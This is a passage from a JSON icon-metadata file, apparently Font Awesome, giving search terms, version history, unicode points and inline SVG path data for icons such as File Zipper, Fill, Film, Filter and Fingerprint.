        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm55 241.1c-3.8-12.7-17.2-19.9-29.9-16.1s-19.9 17.2-16.1 29.9l48 160c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l25-83.4 25 83.4c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l48-160c3.8-12.7-3.4-26.1-16.1-29.9s-26.1 3.4-29.9 16.1l-25 83.4-25-83.4c-3-10.2-12.4-17.1-23-17.1s-19.9 7-23 17.1l-25 83.4-25-83.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm55 241.1c-3.8-12.7-17.2-19.9-29.9-16.1s-19.9 17.2-16.1 29.9l48 160c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l25-83.4 25 83.4c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l48-160c3.8-12.7-3.4-26.1-16.1-29.9s-26.1 3.4-29.9 16.1l-25 83.4-25-83.4c-3-10.2-12.4-17.1-23-17.1s-19.9 7-23 17.1l-25 83.4-25-83.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-zipper": {
    "aliases": {
      "names": ["file-archive"],
      "unicodes": {
        "secondary": ["10f1c6"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [".zip", "bundle", "compress", "compression", "download", "zip"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c6",
    "label": "File Zipper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM96 48c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm-6.3 71.8c3.7-14 16.4-23.8 30.9-23.8h14.8c14.5 0 27.2 9.7 30.9 23.8l23.5 88.2c1.4 5.4 2.1 10.9 2.1 16.4c0 35.2-28.8 63.7-64 63.7s-64-28.5-64-63.7c0-5.5 .7-11.1 2.1-16.4l23.5-88.2zM112 336c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM96 48c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm-6.3 71.8c3.7-14 16.4-23.8 30.9-23.8h14.8c14.5 0 27.2 9.7 30.9 23.8l23.5 88.2c1.4 5.4 2.1 10.9 2.1 16.4c0 35.2-28.8 63.7-64 63.7s-64-28.5-64-63.7c0-5.5 .7-11.1 2.1-16.4l23.5-88.2zM112 336c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16h48v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm48 112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm0 64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm-6.3 71.8L82.1 335.9c-1.4 5.4-2.1 10.9-2.1 16.4c0 35.2 28.8 63.7 64 63.7s64-28.5 64-63.7c0-5.5-.7-11.1-2.1-16.4l-23.5-88.2c-3.7-14-16.4-23.8-30.9-23.8H136.6c-14.5 0-27.2 9.7-30.9 23.8zM128 336h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H128c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16h48v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm48 112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm0 64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm-6.3 71.8L82.1 335.9c-1.4 5.4-2.1 10.9-2.1 16.4c0 35.2 28.8 63.7 64 63.7s64-28.5 64-63.7c0-5.5-.7-11.1-2.1-16.4l-23.5-88.2c-3.7-14-16.4-23.8-30.9-23.8H136.6c-14.5 0-27.2 9.7-30.9 23.8zM128 336h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H128c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "fill": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f575"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bucket", "color", "paint", "paint bucket"]
    },
    "styles": ["solid"],
    "unicode": "f575",
    "label": "Fill",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M86.6 9.4C74.1-3.1 53.9-3.1 41.4 9.4s-12.5 32.8 0 45.3L122.7 136 30.6 228.1c-37.5 37.5-37.5 98.3 0 135.8L148.1 481.4c37.5 37.5 98.3 37.5 135.8 0L474.3 290.9c28.1-28.1 28.1-73.7 0-101.8L322.9 37.7c-28.1-28.1-73.7-28.1-101.8 0L168 90.7 86.6 9.4zM168 181.3l49.4 49.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L213.3 136l53.1-53.1c3.1-3.1 8.2-3.1 11.3 0L429.1 234.3c3.1 3.1 3.1 8.2 0 11.3L386.7 288H67.5c1.4-5.4 4.2-10.4 8.4-14.6L168 181.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M86.6 9.4C74.1-3.1 53.9-3.1 41.4 9.4s-12.5 32.8 0 45.3L122.7 136 30.6 228.1c-37.5 37.5-37.5 98.3 0 135.8L148.1 481.4c37.5 37.5 98.3 37.5 135.8 0L474.3 290.9c28.1-28.1 28.1-73.7 0-101.8L322.9 37.7c-28.1-28.1-73.7-28.1-101.8 0L168 90.7 86.6 9.4zM168 181.3l49.4 49.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L213.3 136l53.1-53.1c3.1-3.1 8.2-3.1 11.3 0L429.1 234.3c3.1 3.1 3.1 8.2 0 11.3L386.7 288H67.5c1.4-5.4 4.2-10.4 8.4-14.6L168 181.3z"
      }
    },
    "free": ["solid"]
  },
  "fill-drip": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f576"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bucket", "color", "drop", "paint", "paint bucket", "spill"]
    },
    "styles": ["solid"],
    "unicode": "f576",
    "label": "Fill Drip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M41.4 9.4C53.9-3.1 74.1-3.1 86.6 9.4L168 90.7l53.1-53.1c28.1-28.1 73.7-28.1 101.8 0L474.3 189.1c28.1 28.1 28.1 73.7 0 101.8L283.9 481.4c-37.5 37.5-98.3 37.5-135.8 0L30.6 363.9c-37.5-37.5-37.5-98.3 0-135.8L122.7 136 41.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm176 221.3L168 181.3 75.9 273.4c-4.2 4.2-7 9.3-8.4 14.6H386.7l42.3-42.3c3.1-3.1 3.1-8.2 0-11.3L277.7 82.9c-3.1-3.1-8.2-3.1-11.3 0L213.3 136l49.4 49.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0zM512 512c-35.3 0-64-28.7-64-64c0-25.2 32.6-79.6 51.2-108.7c6-9.4 19.5-9.4 25.5 0C543.4 368.4 576 422.8 576 448c0 35.3-28.7 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M41.4 9.4C53.9-3.1 74.1-3.1 86.6 9.4L168 90.7l53.1-53.1c28.1-28.1 73.7-28.1 101.8 0L474.3 189.1c28.1 28.1 28.1 73.7 0 101.8L283.9 481.4c-37.5 37.5-98.3 37.5-135.8 0L30.6 363.9c-37.5-37.5-37.5-98.3 0-135.8L122.7 136 41.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm176 221.3L168 181.3 75.9 273.4c-4.2 4.2-7 9.3-8.4 14.6H386.7l42.3-42.3c3.1-3.1 3.1-8.2 0-11.3L277.7 82.9c-3.1-3.1-8.2-3.1-11.3 0L213.3 136l49.4 49.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0zM512 512c-35.3 0-64-28.7-64-64c0-25.2 32.6-79.6 51.2-108.7c6-9.4 19.5-9.4 25.5 0C543.4 368.4 576 422.8 576 448c0 35.3-28.7 64-64 64z"
      }
    },
    "free": ["solid"]
  },
  "film": {
    "aliases": {
      "unicodes": {
        "composite": ["1f39e"],
        "secondary": ["10f008"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cinema",
        "film",
        "film frames",
        "frames",
        "movie",
        "strip",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f008",
    "label": "Film",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM48 368v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H416zM48 240v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H416zM48 112v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM416 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H416zM160 128v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zm32 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V320c0-17.7-14.3-32-32-32H192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM48 368v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H416zM48 240v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H416zM48 112v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM416 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H416zM160 128v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zm32 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V320c0-17.7-14.3-32-32-32H192z"
      }
    },
    "free": ["solid"]
  },
  "filter": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0b0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["funnel", "options", "separate", "sort"]
    },
    "styles": ["solid"],
    "unicode": "f0b0",
    "label": "Filter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M3.9 54.9C10.5 40.9 24.5 32 40 32H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L320 320.9V448c0 12.1-6.8 23.2-17.7 28.6s-23.8 4.3-33.5-3l-64-48c-8.1-6-12.8-15.5-12.8-25.6V320.9L9 97.3C-.7 85.4-2.8 68.8 3.9 54.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M3.9 54.9C10.5 40.9 24.5 32 40 32H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L320 320.9V448c0 12.1-6.8 23.2-17.7 28.6s-23.8 4.3-33.5-3l-64-48c-8.1-6-12.8-15.5-12.8-25.6V320.9L9 97.3C-.7 85.4-2.8 68.8 3.9 54.9z"
      }
    },
    "free": ["solid"]
  },
  "filter-circle-dollar": {
    "aliases": {
      "names": ["funnel-dollar"],
      "unicodes": {
        "secondary": ["10f662"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["filter", "money", "options", "separate", "sort"]
    },
    "styles": ["solid"],
    "unicode": "f662",
    "label": "Filter Circle Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm120.8-32.6c.6-.9 1.8-2.1 4.2-3.4c5.1-2.7 12.5-4.1 18.7-4c8.2 .1 17.1 1.8 26.4 4.1c8.6 2.1 17.3-3.1 19.4-11.7s-3.1-17.3-11.7-19.4c-5.6-1.4-11.6-2.7-17.9-3.7V288c0-8.8-7.2-16-16-16s-16 7.2-16 16v9.5c-6.1 1.2-12.3 3.2-18 6.3c-11.8 6.3-23 18.4-21.8 37.2c1 16 11.7 25.3 21.6 30.7c8.8 4.7 19.7 7.8 28.6 10.3l1.8 .5c10.3 2.9 17.9 5.2 23.2 8.3c4.5 2.7 4.7 4.2 4.7 5.6c.1 2.4-.5 3.7-1 4.5c-.6 1-1.8 2.2-4 3.3c-4.7 2.5-11.8 3.8-18.5 3.6c-9.5-.3-18.5-3.1-29.9-6.8c-1.9-.6-3.8-1.2-5.8-1.8c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20c1.6 .5 3.3 1 5 1.6l0 0 0 0c7 2.3 15.1 4.8 23.7 6.6v11.4c0 8.8 7.2 16 16 16s16-7.2 16-16V438.7c6.2-1.1 12.5-3.1 18.3-6.2c12.1-6.5 22.3-18.7 21.7-36.9c-.5-16.2-10.3-26.3-20.5-32.3c-9.4-5.6-21.2-8.9-30.5-11.5l-.2 0c-10.4-2.9-18.3-5.2-23.9-8.2c-4.8-2.6-4.8-4-4.8-4.5l0-.1c-.1-1.9 .3-2.9 .8-3.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm120.8-32.6c.6-.9 1.8-2.1 4.2-3.4c5.1-2.7 12.5-4.1 18.7-4c8.2 .1 17.1 1.8 26.4 4.1c8.6 2.1 17.3-3.1 19.4-11.7s-3.1-17.3-11.7-19.4c-5.6-1.4-11.6-2.7-17.9-3.7V288c0-8.8-7.2-16-16-16s-16 7.2-16 16v9.5c-6.1 1.2-12.3 3.2-18 6.3c-11.8 6.3-23 18.4-21.8 37.2c1 16 11.7 25.3 21.6 30.7c8.8 4.7 19.7 7.8 28.6 10.3l1.8 .5c10.3 2.9 17.9 5.2 23.2 8.3c4.5 2.7 4.7 4.2 4.7 5.6c.1 2.4-.5 3.7-1 4.5c-.6 1-1.8 2.2-4 3.3c-4.7 2.5-11.8 3.8-18.5 3.6c-9.5-.3-18.5-3.1-29.9-6.8c-1.9-.6-3.8-1.2-5.8-1.8c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20c1.6 .5 3.3 1 5 1.6l0 0 0 0c7 2.3 15.1 4.8 23.7 6.6v11.4c0 8.8 7.2 16 16 16s16-7.2 16-16V438.7c6.2-1.1 12.5-3.1 18.3-6.2c12.1-6.5 22.3-18.7 21.7-36.9c-.5-16.2-10.3-26.3-20.5-32.3c-9.4-5.6-21.2-8.9-30.5-11.5l-.2 0c-10.4-2.9-18.3-5.2-23.9-8.2c-4.8-2.6-4.8-4-4.8-4.5l0-.1c-.1-1.9 .3-2.9 .8-3.6z"
      }
    },
    "free": ["solid"]
  },
  "filter-circle-xmark": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "funnel", "options", "remove", "separate", "sort"]
    },
    "styles": ["solid"],
    "unicode": "e17b",
    "label": "Filter Circle Xmark",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z"
      }
    },
    "free": ["solid"]
  },
  "fingerprint": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f577"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "human",
        "id",
        "identification",
        "lock",
        "smudge",
        "touch",
        "unique",
        "unlock"
      ]
    },
    "styles": ["solid"],
    "unicode": "f577",
    "label": "Fingerprint",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 256C48 141.1 141.1 48 256 48c63.1 0 119.6 28.1 157.8 72.5c8.6 10.1 23.8 11.2 33.8 2.6s11.2-23.8 2.6-33.8C403.3 34.6 333.7 0 256 0C114.6 0 0 114.6 0 256v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256zm458.5-52.9c-2.7-13-15.5-21.3-28.4-18.5s-21.3 15.5-18.5 28.4c2.9 13.9 4.5 28.3 4.5 43.1v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-18.1-1.9-35.8-5.5-52.9zM256 80c-19 0-37.4 3-54.5 8.6c-15.2 5-18.7 23.7-8.3 35.9c7.1 8.3 18.8 10.8 29.4 7.9c10.6-2.9 21.8-4.4 33.4-4.4c70.7 0 128 57.3 128 128v24.9c0 25.2-1.5 50.3-4.4 75.3c-1.7 14.6 9.4 27.8 24.2 27.8c11.8 0 21.9-8.6 23.3-20.3c3.3-27.4 5-55 5-82.7V256c0-97.2-78.8-176-176-176zM150.7 148.7c-9.1-10.6-25.3-11.4-33.9-.4C93.7 178 80 215.4 80 256v24.9c0 24.2-2.6 48.4-7.8 71.9C68.8 368.4 80.1 384 96.1 384c10.5 0 19.9-7 22.2-17.3c6.4-28.1 9.7-56.8 9.7-85.8V256c0-27.2 8.5-52.4 22.9-73.1c7.2-10.4 8-24.6-.2-34.2zM256 160c-53 0-96 43-96 96v24.9c0 35.9-4.6 71.5-13.8 106.1c-3.8 14.3 6.7 29 21.5 29c9.5 0 17.9-6.2 20.4-15.4c10.5-39 15.9-79.2 15.9-119.7V256c0-28.7 23.3-52 52-52s52 23.3 52 52v24.9c0 36.3-3.5 72.4-10.4 107.9c-2.7 13.9 7.7 27.2 21.8 27.2c10.2 0 19-7 21-17c7.7-38.8 11.6-78.3 11.6-118.1V256c0-53-43-96-96-96zm24 96c0-13.3-10.7-24-24-24s-24 10.7-24 24v24.9c0 59.9-11 119.3-32.5 175.2l-5.9 15.3c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8l5.9-15.3C267.9 411.9 280 346.7 280 280.9V256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48 256C48 141.1 141.1 48 256 48c63.1 0 119.6 28.1 157.8 72.5c8.6 10.1 23.8 11.2 33.8 2.6s11.2-23.8 2.6-33.8C403.3 34.6 333.7 0 256 0C114.6 0 0 114.6 0 256v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256zm458.5-52.9c-2.7-13-15.5-21.3-28.4-18.5s-21.3 15.5-18.5 28.4c2.9 13.9 4.5 28.3 4.5 43.1v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-18.1-1.9-35.8-5.5-52.9zM256 80c-19 0-37.4 3-54.5 8.6c-15.2 5-18.7 23.7-8.3 35.9c7.1 8.3 18.8 10.8 29.4 7.9c10.6-2.9 21.8-4.4 33.4-4.4c70.7 0 128 57.3 128 128v24.9c0 25.2-1.5 50.3-4.4 75.3c-1.7 14.6 9.4 27.8 24.2 27.8c11.8 0 21.9-8.6 23.3-20.3c3.3-27.4 5-55 5-82.7V256c0-97.2-78.8-176-176-176zM150.7 148.7c-9.1-10.6-25.3-11.4-33.9-.4C93.7 178 80 215.4 80 256v24.9c0 24.2-2.6 48.4-7.8 71.9C68.8 368.4 80.1 384 96.1 384c10.5 0 19.9-7 22.2-17.3c6.4-28.1 9.7-56.8 9.7-85.8V256c0-27.2 8.5-52.4 22.9-73.1c7.2-10.4 8-24.6-.2-34.2zM256 160c-53 0-96 43-96 96v24.9c0 35.9-4.6 71.5-13.8 106.1c-3.8 14.3 6.7 29 21.5 29c9.5 0 17.9-6.2 20.4-15.4c10.5-39 15.9-79.2 15.9-119.7V256c0-28.7 23.3-52 52-52s52 23.3 52 52v24.9c0 36.3-3.5 72.4-10.4 107.9c-2.7 13.9 7.7 27.2 21.8 27.2c10.2 0 19-7 21-17c7.7-38.8 11.6-78.3 11.6-118.1V256c0-53-43-96-96-96zm24 96c0-13.3-10.7-24-24-24s-24 10.7-24 24v24.9c0 59.9-11 119.3-32.5 175.2l-5.9 15.3c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8l5.9-15.3C267.9 411.9 280 346.7 280 280.9V256z"
      }
    },
    "free": ["solid"]
  },
  "fire": {
    "aliases": {
      "unicodes": {
        "composite": ["1f525"],
        "secondary": ["10f06d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.6.0",
      "5.6.3",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "burn",
        "caliente",
        "fire",
        "flame",
        "heat",
        "hot",
        "popular",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f06d",
    "label": "Fire",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
